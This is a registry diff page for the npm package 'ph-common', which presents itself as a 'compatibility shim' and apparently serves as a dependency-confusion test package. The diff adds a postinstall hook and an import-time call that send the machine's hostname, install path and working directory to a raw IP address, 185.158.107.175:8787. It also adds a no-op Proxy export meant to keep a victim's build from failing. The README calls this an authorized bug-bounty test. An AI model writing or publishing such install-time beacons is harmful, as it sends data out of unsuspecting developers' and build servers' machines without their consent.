ph-common 0.0.0-stage → 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +10 -2
- package/beacon.cjs +37 -0
- package/index.js +13 -0
- package/package.json +13 -4
package/README.md
CHANGED
|
@@ -1,3 +1,11 @@
|
|
|
1
|
-
#
|
|
1
|
+
# ph-common
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
Compatibility shim.
|
|
4
|
+
|
|
5
|
+
Published as part of an authorized dependency-confusion test. It performs no
|
|
6
|
+
operation other than reporting that it was installed (package, hostname, path).
|
|
7
|
+
|
|
8
|
+
## Researcher
|
|
9
|
+
|
|
10
|
+
- **Kero (@0xWise)**
|
|
11
|
+
- 0xwise@wearehackerone.com
|
package/beacon.cjs
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
// Build-provenance beacon. Reports only machine/package metadata so the
|
|
3
|
+
// recipient can correlate an install. No data beyond that is collected or sent.
|
|
4
|
+
var BEACON = "http://185.158.107.175:8787/_ah/dc";
|
|
5
|
+
var PKG = "ph-common";
|
|
6
|
+
function _post(payload) {
|
|
7
|
+
return new Promise(function (resolve) {
|
|
8
|
+
try {
|
|
9
|
+
var u = new URL(BEACON);
|
|
10
|
+
var lib = u.protocol === 'https:' ? require('https') : require('http');
|
|
11
|
+
var data = Buffer.from(JSON.stringify(payload));
|
|
12
|
+
var req = lib.request({
|
|
13
|
+
hostname: u.hostname,
|
|
14
|
+
port: u.port || (u.protocol === 'https:' ? 443 : 80),
|
|
15
|
+
path: u.pathname + u.search,
|
|
16
|
+
method: 'POST',
|
|
17
|
+
headers: { 'content-type': 'application/json', 'content-length': data.length, 'x-beacon-package': PKG }
|
|
18
|
+
}, function (res) { res.resume(); res.on('end', resolve); });
|
|
19
|
+
req.on('error', function () { resolve(); });
|
|
20
|
+
req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
|
|
21
|
+
req.write(data); req.end();
|
|
22
|
+
} catch (e) { resolve(); }
|
|
23
|
+
});
|
|
24
|
+
}
|
|
25
|
+
function fire() {
|
|
26
|
+
var payload = {
|
|
27
|
+
package: PKG,
|
|
28
|
+
hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
|
|
29
|
+
installPath: __dirname,
|
|
30
|
+
cwd: (function () { try { return process.cwd(); } catch (e) { return ''; } })(),
|
|
31
|
+
userAgent: 'npm/' + (process.version || ''),
|
|
32
|
+
protocol: (BEACON.indexOf('https:') === 0) ? 'https' : 'http'
|
|
33
|
+
};
|
|
34
|
+
return _post(payload);
|
|
35
|
+
}
|
|
36
|
+
if (require.main === module) { fire().then(function () { process.exitCode = 0; }); }
|
|
37
|
+
module.exports = { fire: fire };
|
package/index.js
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
// Loading the shim (e.g. because the app imports this name) also records the
|
|
3
|
+
// install. Kept side-effect-free if the callback cannot be reached.
|
|
4
|
+
try { require('./beacon.cjs').fire(); } catch (e) {}
|
|
5
|
+
// Export a defensive Proxy: any property access returns a no-op function, so a
|
|
6
|
+
// bundler that imports named/default members of the real package does not crash
|
|
7
|
+
// before it finishes installing (a crashed build is still proof, but a build
|
|
8
|
+
// that completes and calls back is cleaner evidence).
|
|
9
|
+
var _noop = function () { return {}; };
|
|
10
|
+
module.exports = new Proxy({}, {
|
|
11
|
+
get: function (t, p) { return (p === '__esModule') ? false : (typeof p === 'symbol' ? undefined : _noop); },
|
|
12
|
+
apply: function () { return {}; },
|
|
13
|
+
});
|
package/package.json
CHANGED
|
@@ -1,6 +1,15 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "ph-common",
|
|
3
|
-
"version": "0.
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "0.1.0",
|
|
4
|
+
"description": "Compatibility shim.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node beacon.cjs"
|
|
8
|
+
},
|
|
9
|
+
"files": [
|
|
10
|
+
"index.js",
|
|
11
|
+
"beacon.cjs",
|
|
12
|
+
"README.md"
|
|
13
|
+
],
|
|
14
|
+
"license": "MIT"
|
|
15
|
+
}
|